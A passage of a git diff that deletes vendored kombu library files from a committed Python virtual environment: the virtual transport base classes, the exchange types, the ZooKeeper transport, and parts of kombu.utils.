self.bindings - - def binding_declare(self, queue, exchange, routing_key, arguments): - key = binding_key_t(queue, exchange, routing_key) - self.bindings.setdefault(key, arguments) - self.queue_index[queue].add(key) - - def binding_delete(self, queue, exchange, routing_key): - key = binding_key_t(queue, exchange, routing_key) - try: - del self.bindings[key] - except KeyError: - pass - else: - self.queue_index[queue].remove(key) - - def queue_bindings_delete(self, queue): - try: - bindings = self.queue_index.pop(queue) - except KeyError: - pass - else: - [self.bindings.pop(binding, None) for binding in bindings] - - def queue_bindings(self, queue): - return ( - queue_binding_t(key.exchange, key.routing_key, self.bindings[key]) - for key in self.queue_index[queue] - ) - - -class QoS: - """Quality of Service guarantees. - - Only supports `prefetch_count` at this point. - - Arguments: - --------- - channel (ChannelT): Connection channel. - prefetch_count (int): Initial prefetch count (defaults to 0). - """ - - #: current prefetch count value - prefetch_count = 0 - - #: :class:`~collections.OrderedDict` of active messages. - #: *NOTE*: Can only be modified by the consuming thread. - _delivered = None - - #: acks can be done by other threads than the consuming thread. - #: Instead of a mutex, which doesn't perform well here, we mark - #: the delivery tags as dirty, so subsequent calls to append() can remove - #: them. - _dirty = None - - #: If disabled, unacked messages won't be restored at shutdown. - restore_at_shutdown = True - - def __init__(self, channel, prefetch_count=0): - self.channel = channel - self.prefetch_count = prefetch_count or 0 - - # Standard Python dictionaries do not support setting attributes - # on the object, hence the use of OrderedDict - self._delivered = OrderedDict() - self._delivered.restored = False - self._dirty = set() - self._quick_ack = self._dirty.add - self._quick_append = self._delivered.__setitem__ - self._on_collect = Finalize( - self, self.restore_unacked_once, exitpriority=1, - ) - - def can_consume(self): - """Return true if the channel can be consumed from. - - Used to ensure the client adhers to currently active - prefetch limits. - """ - pcount = self.prefetch_count - return not pcount or len(self._delivered) - len(self._dirty) < pcount - - def can_consume_max_estimate(self): - """Return the maximum number of messages allowed to be returned. - - Returns an estimated number of messages that a consumer may be allowed - to consume at once from the broker. This is used for services where - bulk 'get message' calls are preferred to many individual 'get message' - calls - like SQS. - - Returns - ------- - int: greater than zero. - """ - pcount = self.prefetch_count - if pcount: - return max(pcount - (len(self._delivered) - len(self._dirty)), 0) - - def append(self, message, delivery_tag): - """Append message to transactional state.""" - if self._dirty: - self._flush() - self._quick_append(delivery_tag, message) - - def get(self, delivery_tag): - return self._delivered[delivery_tag] - - def _flush(self): - """Flush dirty (acked/rejected) tags from.""" - dirty = self._dirty - delivered = self._delivered - while 1: - try: - dirty_tag = dirty.pop() - except KeyError: - break - delivered.pop(dirty_tag, None) - - def ack(self, delivery_tag): - """Acknowledge message and remove from transactional state.""" - self._quick_ack(delivery_tag) - - def reject(self, delivery_tag, requeue=False): - """Remove from transactional state and requeue message.""" - if requeue: - self.channel._restore_at_beginning(self._delivered[delivery_tag]) - self._quick_ack(delivery_tag) - - def restore_unacked(self): - """Restore all unacknowledged messages.""" - self._flush() - delivered = self._delivered - errors = [] - restore = self.channel._restore - pop_message = delivered.popitem - - while delivered: - try: - _, message = pop_message() - except KeyError: # pragma: no cover - break - - try: - restore(message) - except BaseException as exc: - errors.append((exc, message)) - delivered.clear() - return errors - - def restore_unacked_once(self, stderr=None): - """Restore all unacknowledged messages at shutdown/gc collect. - - Note: - ---- - Can only be called once for each instance, subsequent - calls will be ignored. - """ - self._on_collect.cancel() - self._flush() - stderr = sys.stderr if stderr is None else stderr - state = self._delivered - - if not self.restore_at_shutdown or not self.channel.do_restore: - return - if getattr(state, 'restored', None): - assert not state - return - try: - if state: - print(RESTORING_FMT.format(len(self._delivered)), - file=stderr) - unrestored = self.restore_unacked() - - if unrestored: - errors, messages = list(zip(*unrestored)) - print(RESTORE_PANIC_FMT.format(len(errors), errors), - file=stderr) - emergency_dump_state(messages, stderr=stderr) - finally: - state.restored = True - - def restore_visible(self, *args, **kwargs): - """Restore any pending unacknowledged messages. - - To be filled in for visibility_timeout style implementations. - - Note: - ---- - This is implementation optional, and currently only - used by the Redis transport. - """ - - -class Message(base.Message): - """Message object.""" - - def __init__(self, payload, channel=None, **kwargs): - self._raw = payload - properties = payload['properties'] - body = payload.get('body') - if body: - body = channel.decode_body(body, properties.get('body_encoding')) - super().__init__( - body=body, - channel=channel, - delivery_tag=properties['delivery_tag'], - content_type=payload.get('content-type'), - content_encoding=payload.get('content-encoding'), - headers=payload.get('headers'), - properties=properties, - delivery_info=properties.get('delivery_info'), - postencode='utf-8', - **kwargs) - - def serializable(self): - props = self.properties - body, _ = self.channel.encode_body(self.body, - props.get('body_encoding')) - headers = dict(self.headers) - # remove compression header - headers.pop('compression', None) - return { - 'body': body, - 'properties': props, - 'content-type': self.content_type, - 'content-encoding': self.content_encoding, - 'headers': headers, - } - - -class AbstractChannel: - """Abstract channel interface. - - This is an abstract class defining the channel methods - you'd usually want to implement in a virtual channel. - - Note: - ---- - Do not subclass directly, but rather inherit - from :class:`Channel`. - """ - - def _get(self, queue, timeout=None): - """Get next message from `queue`.""" - raise NotImplementedError('Virtual channels must implement _get') - - def _put(self, queue, message): - """Put `message` onto `queue`.""" - raise NotImplementedError('Virtual channels must implement _put') - - def _purge(self, queue): - """Remove all messages from `queue`.""" - raise NotImplementedError('Virtual channels must implement _purge') - - def _size(self, queue): - """Return the number of messages in `queue` as an :class:`int`.""" - return 0 - - def _delete(self, queue, *args, **kwargs): - """Delete `queue`. - - Note: - ---- - This just purges the queue, if you need to do more you can - override this method. - """ - self._purge(queue) - - def _new_queue(self, queue, **kwargs): - """Create new queue. - - Note: - ---- - Your transport can override this method if it needs - to do something whenever a new queue is declared. - """ - - def _has_queue(self, queue, **kwargs): - """Verify that queue exists. - - Returns - ------- - bool: Should return :const:`True` if the queue exists - or :const:`False` otherwise. - """ - return True - - def _poll(self, cycle, callback, timeout=None): - """Poll a list of queues for available messages.""" - return cycle.get(callback) - - def _get_and_deliver(self, queue, callback): - message = self._get(queue) - callback(message, queue) - - -class Channel(AbstractChannel, base.StdChannel): - """Virtual channel. - - Arguments: - --------- - connection (ConnectionT): The transport instance this - channel is part of. - """ - - #: message class used. - Message = Message - - #: QoS class used. - QoS = QoS - - #: flag to restore unacked messages when channel - #: goes out of scope. - do_restore = True - - #: mapping of exchange types and corresponding classes. - exchange_types = dict(STANDARD_EXCHANGE_TYPES) - - #: flag set if the channel supports fanout exchanges. - supports_fanout = False - - #: Binary <-> ASCII codecs. - codecs = {'base64': Base64()} - - #: Default body encoding. - #: NOTE: ``transport_options['body_encoding']`` will override this value. - body_encoding = 'base64' - - #: counter used to generate delivery tags for this channel. - _delivery_tags = count(1) - - #: Optional queue where messages with no route is delivered. - #: Set by ``transport_options['deadletter_queue']``. - deadletter_queue = None - - # List of options to transfer from :attr:`transport_options`. - from_transport_options = ('body_encoding', 'deadletter_queue') - - # Priority defaults - default_priority = 0 - min_priority = 0 - max_priority = 9 - - def __init__(self, connection, **kwargs): - self.connection = connection - self._consumers = set() - self._cycle = None - self._tag_to_queue = {} - self._active_queues = [] - self._qos = None - self.closed = False - - # instantiate exchange types - self.exchange_types = { - typ: cls(self) for typ, cls in self.exchange_types.items() - } - - self.channel_id = self._get_free_channel_id() - - topts = self.connection.client.transport_options - for opt_name in self.from_transport_options: - try: - setattr(self, opt_name, topts[opt_name]) - except KeyError: - pass - - def exchange_declare(self, exchange=None, type='direct', durable=False, - auto_delete=False, arguments=None, - nowait=False, passive=False): - """Declare exchange.""" - type = type or 'direct' - exchange = exchange or 'amq.%s' % type - if passive: - if exchange not in self.state.exchanges: - raise ChannelError( - 'NOT_FOUND - no exchange {!r} in vhost {!r}'.format( - exchange, self.connection.client.virtual_host or '/'), - (50, 10), 'Channel.exchange_declare', '404', - ) - return - try: - prev = self.state.exchanges[exchange] - if not self.typeof(exchange).equivalent(prev, exchange, type, - durable, auto_delete, - arguments): - raise NotEquivalentError(NOT_EQUIVALENT_FMT.format( - exchange, self.connection.client.virtual_host or '/')) - except KeyError: - self.state.exchanges[exchange] = { - 'type': type, - 'durable': durable, - 'auto_delete': auto_delete, - 'arguments': arguments or {}, - 'table': [], - } - - def exchange_delete(self, exchange, if_unused=False, nowait=False): - """Delete `exchange` and all its bindings.""" - for rkey, _, queue in self.get_table(exchange): - self.queue_delete(queue, if_unused=True, if_empty=True) - self.state.exchanges.pop(exchange, None) - - def queue_declare(self, queue=None, passive=False, **kwargs): - """Declare queue.""" - queue = queue or 'amq.gen-%s' % uuid() - if passive and not self._has_queue(queue, **kwargs): - raise ChannelError( - 'NOT_FOUND - no queue {!r} in vhost {!r}'.format( - queue, self.connection.client.virtual_host or '/'), - (50, 10), 'Channel.queue_declare', '404', - ) - else: - self._new_queue(queue, **kwargs) - return queue_declare_ok_t(queue, self._size(queue), 0) - - def queue_delete(self, queue, if_unused=False, if_empty=False, **kwargs): - """Delete queue.""" - if if_empty and self._size(queue): - return - for exchange, routing_key, args in self.state.queue_bindings(queue): - meta = self.typeof(exchange).prepare_bind( - queue, exchange, routing_key, args, - ) - self._delete(queue, exchange, *meta, **kwargs) - self.state.queue_bindings_delete(queue) - - def after_reply_message_received(self, queue): - self.queue_delete(queue) - - def exchange_bind(self, destination, source='', routing_key='', - nowait=False, arguments=None): - raise NotImplementedError('transport does not support exchange_bind') - - def exchange_unbind(self, destination, source='', routing_key='', - nowait=False, arguments=None): - raise NotImplementedError('transport does not support exchange_unbind') - - def queue_bind(self, queue, exchange=None, routing_key='', - arguments=None, **kwargs): - """Bind `queue` to `exchange` with `routing key`.""" - exchange = exchange or 'amq.direct' - if self.state.has_binding(queue, exchange, routing_key): - return - # Add binding: - self.state.binding_declare(queue, exchange, routing_key, arguments) - # Update exchange's routing table: - table = self.state.exchanges[exchange].setdefault('table', []) - meta = self.typeof(exchange).prepare_bind( - queue, exchange, routing_key, arguments, - ) - table.append(meta) - if self.supports_fanout: - self._queue_bind(exchange, *meta) - - def queue_unbind(self, queue, exchange=None, routing_key='', - arguments=None, **kwargs): - # Remove queue binding: - self.state.binding_delete(queue, exchange, routing_key) - try: - table = self.get_table(exchange) - except KeyError: - return - binding_meta = self.typeof(exchange).prepare_bind( - queue, exchange, routing_key, arguments, - ) - # TODO: the complexity of this operation is O(number of bindings). - # Should be optimized. Modifying table in place. - table[:] = [meta for meta in table if meta != binding_meta] - - def list_bindings(self): - return ((queue, exchange, rkey) - for exchange in self.state.exchanges - for rkey, pattern, queue in self.get_table(exchange)) - - def queue_purge(self, queue, **kwargs): - """Remove all ready messages from queue.""" - return self._purge(queue) - - def _next_delivery_tag(self): - return uuid() - - def basic_publish(self, message, exchange, routing_key, **kwargs): - """Publish message.""" - self._inplace_augment_message(message, exchange, routing_key) - if exchange: - return self.typeof(exchange).deliver( - message, exchange, routing_key, **kwargs - ) - # anon exchange: routing_key is the destination queue - return self._put(routing_key, message, **kwargs) - - def _inplace_augment_message(self, message, exchange, routing_key): - message['body'], body_encoding = self.encode_body( - message['body'], self.body_encoding, - ) - props = message['properties'] - props.update( - body_encoding=body_encoding, - delivery_tag=self._next_delivery_tag(), - ) - props['delivery_info'].update( - exchange=exchange, - routing_key=routing_key, - ) - - def basic_consume(self, queue, no_ack, callback, consumer_tag, **kwargs): - """Consume from `queue`.""" - self._tag_to_queue[consumer_tag] = queue - self._active_queues.append(queue) - - def _callback(raw_message): - message = self.Message(raw_message, channel=self) - if not no_ack: - self.qos.append(message, message.delivery_tag) - return callback(message) - - self.connection._callbacks[queue] = _callback - self._consumers.add(consumer_tag) - - self._reset_cycle() - - def basic_cancel(self, consumer_tag): - """Cancel consumer by consumer tag.""" - if consumer_tag in self._consumers: - self._consumers.remove(consumer_tag) - self._reset_cycle() - queue = self._tag_to_queue.pop(consumer_tag, None) - try: - self._active_queues.remove(queue) - except ValueError: - pass - self.connection._callbacks.pop(queue, None) - - def basic_get(self, queue, no_ack=False, **kwargs): - """Get message by direct access (synchronous).""" - try: - message = self.Message(self._get(queue), channel=self) - if not no_ack: - self.qos.append(message, message.delivery_tag) - return message - except Empty: - pass - - def basic_ack(self, delivery_tag, multiple=False): - """Acknowledge message.""" - self.qos.ack(delivery_tag) - - def basic_recover(self, requeue=False): - """Recover unacked messages.""" - if requeue: - return self.qos.restore_unacked() - raise NotImplementedError('Does not support recover(requeue=False)') - - def basic_reject(self, delivery_tag, requeue=False): - """Reject message.""" - self.qos.reject(delivery_tag, requeue=requeue) - - def basic_qos(self, prefetch_size=0, prefetch_count=0, - apply_global=False): - """Change QoS settings for this channel. - - Note: - ---- - Only `prefetch_count` is supported. - """ - self.qos.prefetch_count = prefetch_count - - def get_exchanges(self): - return list(self.state.exchanges) - - def get_table(self, exchange): - """Get table of bindings for `exchange`.""" - return self.state.exchanges[exchange]['table'] - - def typeof(self, exchange, default='direct'): - """Get the exchange type instance for `exchange`.""" - try: - type = self.state.exchanges[exchange]['type'] - except KeyError: - type = default - return self.exchange_types[type] - - def _lookup(self, exchange, routing_key, default=None): - """Find all queues matching `routing_key` for the given `exchange`. - - Returns - ------- - list[str]: queue names -- must return `[default]` - if default is set and no queues matched. - """ - if default is None: - default = self.deadletter_queue - if not exchange: # anon exchange - return [routing_key or default] - - try: - R = self.typeof(exchange).lookup( - self.get_table(exchange), - exchange, routing_key, default, - ) - except KeyError: - R = [] - - if not R and default is not None: - warnings.warn(UndeliverableWarning(UNDELIVERABLE_FMT.format( - exchange=exchange, routing_key=routing_key)), - ) - self._new_queue(default) - R = [default] - return R - - def _restore(self, message): - """Redeliver message to its original destination.""" - delivery_info = message.delivery_info - message = message.serializable() - message['redelivered'] = True - for queue in self._lookup( - delivery_info['exchange'], - delivery_info['routing_key']): - self._put(queue, message) - - def _restore_at_beginning(self, message): - return self._restore(message) - - def drain_events(self, timeout=None, callback=None): - callback = callback or self.connection._deliver - if self._consumers and self.qos.can_consume(): - if hasattr(self, '_get_many'): - return self._get_many(self._active_queues, timeout=timeout) - return self._poll(self.cycle, callback, timeout=timeout) - raise Empty() - - def message_to_python(self, raw_message): - """Convert raw message to :class:`Message` instance.""" - if not isinstance(raw_message, self.Message): - return self.Message(payload=raw_message, channel=self) - return raw_message - - def prepare_message(self, body, priority=None, content_type=None, - content_encoding=None, headers=None, properties=None): - """Prepare message data.""" - properties = properties or {} - properties.setdefault('delivery_info', {}) - properties.setdefault('priority', priority or self.default_priority) - - return {'body': body, - 'content-encoding': content_encoding, - 'content-type': content_type, - 'headers': headers or {}, - 'properties': properties or {}} - - def flow(self, active=True): - """Enable/disable message flow. - - Raises - ------ - NotImplementedError: as flow - is not implemented by the base virtual implementation. - """ - raise NotImplementedError('virtual channels do not support flow.') - - def close(self): - """Close channel. - - Cancel all consumers, and requeue unacked messages. - """ - if not self.closed: - self.closed = True - for consumer in list(self._consumers): - self.basic_cancel(consumer) - if self._qos: - self._qos.restore_unacked_once() - if self._cycle is not None: - self._cycle.close() - self._cycle = None - if self.connection is not None: - self.connection.close_channel(self) - self.exchange_types = None - - def encode_body(self, body, encoding=None): - if encoding and encoding.lower() != 'utf-8': - return self.codecs.get(encoding).encode(body), encoding - return body, encoding - - def decode_body(self, body, encoding=None): - if encoding and encoding.lower() != 'utf-8': - return self.codecs.get(encoding).decode(body) - return body - - def _reset_cycle(self): - self._cycle = FairCycle( - self._get_and_deliver, self._active_queues, Empty) - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.close() - - @property - def state(self): - """Broker state containing exchanges and bindings.""" - return self.connection.state - - @property - def qos(self): - """:class:`QoS` manager for this channel.""" - if self._qos is None: - self._qos = self.QoS(self) - return self._qos - - @property - def cycle(self): - if self._cycle is None: - self._reset_cycle() - return self._cycle - - def _get_message_priority(self, message, reverse=False): - """Get priority from message. - - The value is limited to within a boundary of 0 to 9. - - Note: - ---- - Higher value has more priority. - """ - try: - priority = max( - min(int(message['properties']['priority']), - self.max_priority), - self.min_priority, - ) - except (TypeError, ValueError, KeyError): - priority = self.default_priority - - return (self.max_priority - priority) if reverse else priority - - def _get_free_channel_id(self): - # Cast to a set for fast lookups, and keep stored as an array - # for lower memory usage. - used_channel_ids = set(self.connection._used_channel_ids) - - for channel_id in range(1, self.connection.channel_max + 1): - if channel_id not in used_channel_ids: - self.connection._used_channel_ids.append(channel_id) - return channel_id - - raise ResourceError( - 'No free channel ids, current={}, channel_max={}'.format( - len(self.connection.channels), - self.connection.channel_max), (20, 10), - ) - - -class Management(base.Management): - """Base class for the AMQP management API.""" - - def __init__(self, transport): - super().__init__(transport) - self.channel = transport.client.channel() - - def get_bindings(self): - return [{'destination': q, 'source': e, 'routing_key': r} - for q, e, r in self.channel.list_bindings()] - - def close(self): - self.channel.close() - - -class Transport(base.Transport): - """Virtual transport. - - Arguments: - --------- - client (kombu.Connection): The client this is a transport for. - """ - - Channel = Channel - Cycle = FairCycle - Management = Management - - #: :class:`~kombu.utils.scheduling.FairCycle` instance - #: used to fairly drain events from channels (set by constructor). - cycle = None - - #: port number used when no port is specified. - default_port = None - - #: active channels. - channels = None - - #: queue/callback map. - _callbacks = None - - #: Time to sleep between unsuccessful polls. - polling_interval = 1.0 - - #: Max number of channels - channel_max = 65535 - - implements = base.Transport.implements.extend( - asynchronous=False, - exchange_type=frozenset(['direct', 'topic']), - heartbeats=False, - ) - - def __init__(self, client, **kwargs): - self.client = client - # :class:`BrokerState` containing declared exchanges and bindings. - self.state = BrokerState() - self.channels = [] - self._avail_channels = [] - self._callbacks = {} - self.cycle = self.Cycle(self._drain_channel, self.channels, Empty) - polling_interval = client.transport_options.get('polling_interval') - if polling_interval is not None: - self.polling_interval = polling_interval - self._used_channel_ids = array(ARRAY_TYPE_H) - - def create_channel(self, connection): - try: - return self._avail_channels.pop() - except IndexError: - channel = self.Channel(connection) - self.channels.append(channel) - return channel - - def close_channel(self, channel): - try: - try: - self._used_channel_ids.remove(channel.channel_id) - except ValueError: - # channel id already removed - pass - try: - self.channels.remove(channel) - except ValueError: - pass - finally: - channel.connection = None - - def establish_connection(self): - # creates channel to verify connection. - # this channel is then used as the next requested channel. - # (returned by ``create_channel``). - self._avail_channels.append(self.create_channel(self)) - return self # for drain events - - def close_connection(self, connection): - self.cycle.close() - for chan_list in self._avail_channels, self.channels: - while chan_list: - try: - channel = chan_list.pop() - except LookupError: # pragma: no cover - pass - else: - channel.close() - - def drain_events(self, connection, timeout=None): - time_start = monotonic() - get = self.cycle.get - polling_interval = self.polling_interval - if timeout and polling_interval and polling_interval > timeout: - polling_interval = timeout - while 1: - try: - get(self._deliver, timeout=timeout) - except Empty: - if timeout is not None and monotonic() - time_start >= timeout: - raise socket.timeout() - if polling_interval is not None: - sleep(polling_interval) - else: - break - - def _deliver(self, message, queue): - if not queue: - raise KeyError( - 'Received message without destination queue: {}'.format( - message)) - try: - callback = self._callbacks[queue] - except KeyError: - logger.warning(W_NO_CONSUMERS, queue) - self._reject_inbound_message(message) - else: - callback(message) - - def _reject_inbound_message(self, raw_message): - for channel in self.channels: - if channel: - message = channel.Message(raw_message, channel=channel) - channel.qos.append(message, message.delivery_tag) - channel.basic_reject(message.delivery_tag, requeue=True) - break - - def on_message_ready(self, channel, message, queue): - if not queue or queue not in self._callbacks: - raise KeyError( - 'Message for queue {!r} without consumers: {}'.format( - queue, message)) - self._callbacks[queue](message) - - def _drain_channel(self, channel, callback, timeout=None): - return channel.drain_events(callback=callback, timeout=timeout) - - @property - def default_connection_params(self): - return {'port': self.default_port, 'hostname': 'localhost'} diff --git a/venv/Lib/site-packages/kombu/transport/virtual/exchange.py b/venv/Lib/site-packages/kombu/transport/virtual/exchange.py deleted file mode 100644 index e7cfd373b3fc62fd65b7d7f1d57ad571937f8d06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/virtual/exchange.py +++ /dev/null @@ -1,164 +0,0 @@ -"""Virtual AMQ Exchange. - -Implementations of the standard exchanges defined -by the AMQ protocol (excluding the `headers` exchange). -""" - -from __future__ import annotations - -import re - -from kombu.utils.text import escape_regex - - -class ExchangeType: - """Base class for exchanges. - - Implements the specifics for an exchange type. - - Arguments: - --------- - channel (ChannelT): AMQ Channel. - """ - - type = None - - def __init__(self, channel): - self.channel = channel - - def lookup(self, table, exchange, routing_key, default): - """Lookup all queues matching `routing_key` in `exchange`. - - Returns - ------- - str: queue name, or 'default' if no queues matched. - """ - raise NotImplementedError('subclass responsibility') - - def prepare_bind(self, queue, exchange, routing_key, arguments): - """Prepare queue-binding. - - Returns - ------- - Tuple[str, Pattern, str]: of `(routing_key, regex, queue)` - to be stored for bindings to this exchange. - """ - return routing_key, None, queue - - def equivalent(self, prev, exchange, type, - durable, auto_delete, arguments): - """Return true if `prev` and `exchange` is equivalent.""" - return (type == prev['type'] and - durable == prev['durable'] and - auto_delete == prev['auto_delete'] and - (arguments or {}) == (prev['arguments'] or {})) - - -class DirectExchange(ExchangeType): - """Direct exchange. - - The `direct` exchange routes based on exact routing keys. - """ - - type = 'direct' - - def lookup(self, table, exchange, routing_key, default): - return { - queue for rkey, _, queue in table - if rkey == routing_key - } - - def deliver(self, message, exchange, routing_key, **kwargs): - _lookup = self.channel._lookup - _put = self.channel._put - for queue in _lookup(exchange, routing_key): - _put(queue, message, **kwargs) - - -class TopicExchange(ExchangeType): - """Topic exchange. - - The `topic` exchange routes messages based on words separated by - dots, using wildcard characters ``*`` (any single word), and ``#`` - (one or more words). - """ - - type = 'topic' - - #: map of wildcard to regex conversions - wildcards = {'*': r'.*?[^\.]', - '#': r'.*?'} - - #: compiled regex cache - _compiled = {} - - def lookup(self, table, exchange, routing_key, default): - return { - queue for rkey, pattern, queue in table - if self._match(pattern, routing_key) - } - - def deliver(self, message, exchange, routing_key, **kwargs): - _lookup = self.channel._lookup - _put = self.channel._put - deadletter = self.channel.deadletter_queue - for queue in [q for q in _lookup(exchange, routing_key) - if q and q != deadletter]: - _put(queue, message, **kwargs) - - def prepare_bind(self, queue, exchange, routing_key, arguments): - return routing_key, self.key_to_pattern(routing_key), queue - - def key_to_pattern(self, rkey): - """Get the corresponding regex for any routing key.""" - return '^%s$' % (r'\.'.join( - self.wildcards.get(word, word) - for word in escape_regex(rkey, '.#*').split('.') - )) - - def _match(self, pattern, string): - """Match regular expression (cached). - - Same as :func:`re.match`, except the regex is compiled and cached, - then reused on subsequent matches with the same pattern. - """ - try: - compiled = self._compiled[pattern] - except KeyError: - compiled = self._compiled[pattern] = re.compile(pattern, re.U) - return compiled.match(string) - - -class FanoutExchange(ExchangeType): - """Fanout exchange. - - The `fanout` exchange implements broadcast messaging by delivering - copies of all messages to all queues bound to the exchange. - - To support fanout the virtual channel needs to store the table - as shared state. This requires that the `Channel.supports_fanout` - attribute is set to true, and the `Channel._queue_bind` and - `Channel.get_table` methods are implemented. - - See Also - -------- - the redis backend for an example implementation of these methods. - """ - - type = 'fanout' - - def lookup(self, table, exchange, routing_key, default): - return {queue for _, _, queue in table} - - def deliver(self, message, exchange, routing_key, **kwargs): - if self.channel.supports_fanout: - self.channel._put_fanout( - exchange, message, routing_key, **kwargs) - - -#: Map of standard exchange types and corresponding classes. -STANDARD_EXCHANGE_TYPES = { - 'direct': DirectExchange, - 'topic': TopicExchange, - 'fanout': FanoutExchange, -} diff --git a/venv/Lib/site-packages/kombu/transport/zookeeper.py b/venv/Lib/site-packages/kombu/transport/zookeeper.py deleted file mode 100644 index c72ce2f51b60792add418855d961d5551a5a8928..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/zookeeper.py +++ /dev/null @@ -1,223 +0,0 @@ -# copyright: (c) 2010 - 2013 by Mahendra M. -# license: BSD, see LICENSE for more details. - -"""Zookeeper transport module for kombu. - -Zookeeper based transport. This transport uses the built-in kazoo Zookeeper -based queue implementation. - -**References** - -- https://zookeeper.apache.org/doc/current/recipes.html#sc_recipes_Queues -- https://kazoo.readthedocs.io/en/latest/api/recipe/queue.html - -**Limitations** -This queue does not offer reliable consumption. An entry is removed from -the queue prior to being processed. So if an error occurs, the consumer -has to re-queue the item or it will be lost. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: No -* Supports Priority: Yes -* Supports TTL: No - -Connection String -================= -Connects to a zookeeper node as: - -.. code-block:: - - zookeeper://SERVER:PORT/VHOST - -The becomes the base for all the other znodes. So we can use -it like a vhost. - - -Transport Options -================= - -""" - -from __future__ import annotations - -import os -import socket -from queue import Empty - -from kombu.utils.encoding import bytes_to_str, ensure_bytes -from kombu.utils.json import dumps, loads - -from . import virtual - -try: - import kazoo - from kazoo.client import KazooClient - from kazoo.recipe.queue import Queue - - KZ_CONNECTION_ERRORS = ( - kazoo.exceptions.SystemErrorException, - kazoo.exceptions.ConnectionLossException, - kazoo.exceptions.MarshallingErrorException, - kazoo.exceptions.UnimplementedException, - kazoo.exceptions.OperationTimeoutException, - kazoo.exceptions.NoAuthException, - kazoo.exceptions.InvalidACLException, - kazoo.exceptions.AuthFailedException, - kazoo.exceptions.SessionExpiredException, - ) - - KZ_CHANNEL_ERRORS = ( - kazoo.exceptions.RuntimeInconsistencyException, - kazoo.exceptions.DataInconsistencyException, - kazoo.exceptions.BadArgumentsException, - kazoo.exceptions.MarshallingErrorException, - kazoo.exceptions.UnimplementedException, - kazoo.exceptions.OperationTimeoutException, - kazoo.exceptions.ApiErrorException, - kazoo.exceptions.NoNodeException, - kazoo.exceptions.NoAuthException, - kazoo.exceptions.NodeExistsException, - kazoo.exceptions.NoChildrenForEphemeralsException, - kazoo.exceptions.NotEmptyException, - kazoo.exceptions.SessionExpiredException, - kazoo.exceptions.InvalidCallbackException, - socket.error, - ) -except ImportError: - kazoo = None - KZ_CONNECTION_ERRORS = KZ_CHANNEL_ERRORS = () - -DEFAULT_PORT = 2181 - -__author__ = 'Mahendra M ' - - -class Channel(virtual.Channel): - """Zookeeper Channel.""" - - _client = None - _queues = {} - - def __init__(self, connection, **kwargs): - super().__init__(connection, **kwargs) - vhost = self.connection.client.virtual_host - self._vhost = '/{}'.format(vhost.strip('/')) - - def _get_path(self, queue_name): - return os.path.join(self._vhost, queue_name) - - def _get_queue(self, queue_name): - queue = self._queues.get(queue_name, None) - - if queue is None: - queue = Queue(self.client, self._get_path(queue_name)) - self._queues[queue_name] = queue - - # Ensure that the queue is created - len(queue) - - return queue - - def _put(self, queue, message, **kwargs): - return self._get_queue(queue).put( - ensure_bytes(dumps(message)), - priority=self._get_message_priority(message, reverse=True), - ) - - def _get(self, queue): - queue = self._get_queue(queue) - msg = queue.get() - - if msg is None: - raise Empty() - - return loads(bytes_to_str(msg)) - - def _purge(self, queue): - count = 0 - queue = self._get_queue(queue) - - while True: - msg = queue.get() - if msg is None: - break - count += 1 - - return count - - def _delete(self, queue, *args, **kwargs): - if self._has_queue(queue): - self._purge(queue) - self.client.delete(self._get_path(queue)) - - def _size(self, queue): - queue = self._get_queue(queue) - return len(queue) - - def _new_queue(self, queue, **kwargs): - if not self._has_queue(queue): - queue = self._get_queue(queue) - - def _has_queue(self, queue): - return self.client.exists(self._get_path(queue)) is not None - - def _open(self): - conninfo = self.connection.client - hosts = [] - if conninfo.alt: - for host_port in conninfo.alt: - if host_port.startswith('zookeeper://'): - host_port = host_port[len('zookeeper://'):] - if not host_port: - continue - try: - host, port = host_port.split(':', 1) - host_port = (host, int(port)) - except ValueError: - if host_port == conninfo.hostname: - host_port = (host_port, conninfo.port or DEFAULT_PORT) - else: - host_port = (host_port, DEFAULT_PORT) - hosts.append(host_port) - host_port = (conninfo.hostname, conninfo.port or DEFAULT_PORT) - if host_port not in hosts: - hosts.insert(0, host_port) - conn_str = ','.join([f'{h}:{p}' for h, p in hosts]) - conn = KazooClient(conn_str) - conn.start() - return conn - - @property - def client(self): - if self._client is None: - self._client = self._open() - return self._client - - -class Transport(virtual.Transport): - """Zookeeper Transport.""" - - Channel = Channel - polling_interval = 1 - default_port = DEFAULT_PORT - connection_errors = ( - virtual.Transport.connection_errors + KZ_CONNECTION_ERRORS - ) - channel_errors = ( - virtual.Transport.channel_errors + KZ_CHANNEL_ERRORS - ) - driver_type = 'zookeeper' - driver_name = 'kazoo' - - def __init__(self, *args, **kwargs): - if kazoo is None: - raise ImportError('The kazoo library is not installed') - - super().__init__(*args, **kwargs) - - def driver_version(self): - return kazoo.__version__ diff --git a/venv/Lib/site-packages/kombu/utils/__init__.py b/venv/Lib/site-packages/kombu/utils/__init__.py deleted file mode 100644 index 94bb3cdf3d0f9c22f5b78cda70145cd1e3590c75..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/__init__.py +++ /dev/null @@ -1,20 +0,0 @@ -"""DEPRECATED - Import from modules below.""" - -from __future__ import annotations - -from .collections import EqualityDict -from .compat import fileno, maybe_fileno, nested, register_after_fork -from .div import emergency_dump_state -from .functional import (fxrange, fxrangemax, maybe_list, reprcall, - retry_over_time) -from .imports import symbol_by_name -from .objects import cached_property -from .uuid import uuid - -__all__ = ( - 'EqualityDict', 'uuid', 'maybe_list', - 'fxrange', 'fxrangemax', 'retry_over_time', - 'emergency_dump_state', 'cached_property', - 'register_after_fork', 'reprkwargs', 'reprcall', - 'symbol_by_name', 'nested', 'fileno', 'maybe_fileno', -) diff --git a/venv/Lib/site-packages/kombu/utils/amq_manager.py b/venv/Lib/site-packages/kombu/utils/amq_manager.py deleted file mode 100644 index f3e429fd51b84d040ab2676ee7d9e090f1941f4f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/amq_manager.py +++ /dev/null @@ -1,22 +0,0 @@ -"""AMQP Management API utilities.""" - - -from __future__ import annotations - - -def get_manager(client, hostname=None, port=None, userid=None, - password=None): - """Get pyrabbit manager.""" - import pyrabbit - opt = client.transport_options.get - - def get(name, val, default): - return (val if val is not None - else opt('manager_%s' % name) or - getattr(client, name, None) or 